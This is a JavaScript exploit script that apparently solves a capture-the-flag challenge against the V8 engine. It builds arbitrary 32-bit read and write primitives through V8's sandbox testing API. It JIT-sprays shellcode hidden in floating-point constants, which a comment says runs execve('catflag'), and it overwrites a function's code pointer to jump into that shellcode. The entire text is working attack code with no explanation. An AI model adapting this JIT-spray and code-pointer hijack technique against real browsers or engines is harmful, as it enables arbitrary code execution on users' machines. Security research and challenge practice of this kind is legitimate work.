let ab = new ArrayBuffer(8); let f64a = new Float64Array(ab, 0, 1); let i32a = new Uint32Array(ab, 0, 2); let si32a = new Int32Array(ab, 0, 2); let bi64a = new BigUint64Array(ab, 0, 1); function c2f(low, high) { // combined (two 4 bytes) word to float i32a[0] = low; i32a[1] = high; return f64a[0]; } function b2f(v) { // bigint to float bi64a[0] = v; return f64a[0]; } function f2b(v) { // float to bigint f64a[0] = v; return bi64a[0]; } function unptr(v) { return v & 0xfffffffe; } function ptr(v) { return v | 1; } function shellcode() { // Promote to ensure not GC during training // JIT spray machine code form of `execve("catflag", NULL, NULL)` return [ // 90 90 90 90 90 90 EB 0C -6.82852703445671073954919833565E-229, 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61 ]; } for (let i = 0; i < 1000000; i++) shellcode(); // Trigger TURBOFAN compilation, since we are on a old revision don't have MAGLEV function hijack() {} let sandbox = new Sandbox.MemoryView(0, Sandbox.byteLength); let sandbox_i32v = new Uint32Array(sandbox, 0, 0x4000_0000); function GetAddressOf(obj) { return Sandbox.getAddressOf(obj); } // DWORD Aligned function ArbRead32(cage_addr) { // int32 -> int32 if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); return sandbox_i32v[cage_addr >> 2]; } // DWORD Aligned function ArbWrite32(cage_addr, value) { // int32, int32 -> void if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); sandbox_i32v[cage_addr >> 2] = value; } // %DebugPrint(shellcode); let shellcode_addr = GetAddressOf(shellcode); console.log("Address of shellcode: " + shellcode_addr.toString(16)); let shellcode_code_addr = unptr(ArbRead32(shellcode_addr + 0x18)); console.log("Address of shellcode.code: " + shellcode_code_addr.toString(16)); let shellcode_gadget_addr = shellcode_code_addr + 0x40 + (0x73 + 0x2); console.log("Address of shellcode_gadget: " + shellcode_gadget_addr.toString(16)); // %DebugPrint(hijack); let hijack_addr = GetAddressOf(hijack); console.log("Address of hijack: " + hijack_addr.toString(16)); ArbWrite32(hijack_addr + 0x18, shellcode_gadget_addr - 0x3f); // %SystemBreak(); hijack();